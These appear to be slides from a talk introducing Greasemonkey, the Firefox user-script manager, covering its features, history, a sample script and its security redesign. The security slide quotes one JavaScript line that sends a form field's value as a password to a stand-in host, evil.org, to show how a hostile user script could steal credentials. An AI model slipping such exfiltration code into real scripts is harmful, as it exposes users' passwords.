Greasemonkey: DIY Web Improvement

Aaron Boodman

Chief Monkey

In the beginning...

• ... there was the Bookmarklet
• Execute JavaScript snippet in scope of page
• Few annoying limitations

Wouldn't it be cool if:

• You could write bookmarklets in a separate files?
• You could set a bookmarklet to run automatically for a certain page?

What is Greasemonkey?

• A user script manager
• A Firefox extension
• Empowering for web users
• Shell scripting for the web: quick 'n dirty
• 

What can you do with Greasemonkey?

• Extension - add new features to a page
• Restriction - remove features from a page
• Repair - fix a page that is broken or sub-optimal
• Integrate - add data from other websites to a page

Greasemonkey Timeline

• Released Dec. 6, 2004
• January - Wiki set up, community forms around it
• March - Pilgrim becomes a notable early adopter
• July - major security rewrite
• Now: Greasemonkey 0.5 in beta

Greasemonkey Today

• Steady-state ~3k installs/week
• 3rd most popular extension on mozdev
• ~150k page views per month
• 800+ user scripts in repository for hundreds of sites
• Press from: Wired, CNet, Forrester Research, PC World, and G4TV (a tech tv show on cable). Also, MIT Technology Review article forthcoming.
• No longer Firefox-only: Support implemented in Seamonkey, Opera and Win/IE.

How do you write a user script?

// ==UserScript==
// @name          Say Hello!
// @namespace     http://youngpup.net/userscripts
// @description	  Greets the world
// @include       *google.com*
// @include       *youngpup.net*
// @exclude       http://mail.google.com/*
// ==/UserScript==

alert("Hello, world!");

• JavaScript, DOM, and CSS
• Metadata tags at the beginning of .user.js files
• Use the Greasemonkey API to do things webpages cannot
• Read Dive into Greasemonkey

Demo - IMDB Kevin Bacon Numberator

• Dev tools: DOM Inspector and JavaScript Shell
• Point and click with Platypus - the GUI user script generator
• Call upon your inner hacker - start with somebody else's code

For the application provider:

• Free features
• Long tail features
• Free user research
• High user loyalty
• Built-in extensibility

What about ads?

There are much easier, more accessible, and more user-friendly ways to remove ads than Greasemonkey

• Adblock - pushbutton permanent ad removal
• RIP - Remove it Permanently, point-and-click removal of any element from any page
• Proxomitron and Privoxy - proxy level ad removal systems

All of these have huge militant communities of maintainers. Greasemonkey cannot possibly compare to them in ad-removal efficiency.

Security

"User scripts run in content's security context. I don't see any possible problems..."

-- Aaron, November 2004

Classes of Security Problems

• Spyware/Phishing/XSS - var img = new Image(); img.src="http://evil.org?yourpassword=" + document.forms[0][3].value
• NEW! DOG (Denial of Greasemonkey) via function redefintion
• NEW! Leaking GM APIs to content
• NEW! Leaking user script source to content

Greasemonkey 0.5: Now with security!

• The Greasemonkey sandbox. APIs and scripts live in an object separate from content.
• Greasemonkey never trusts content - XPCNativeWrappers everywhere
• setTimeout hack used to prevent stack introspection
• In Deer Park, window and document globals are deep XPCNativeWrappers
• Help wanted

Greasemonkey Future

• Notifications when scripts are available (without polling)
• Wikified user scripting on userscripts.org
• Separate core from UI for the enterprise, Camino
• Greaseproxy
• FF 1.5: evalInSandbox()
• C++?

Q & A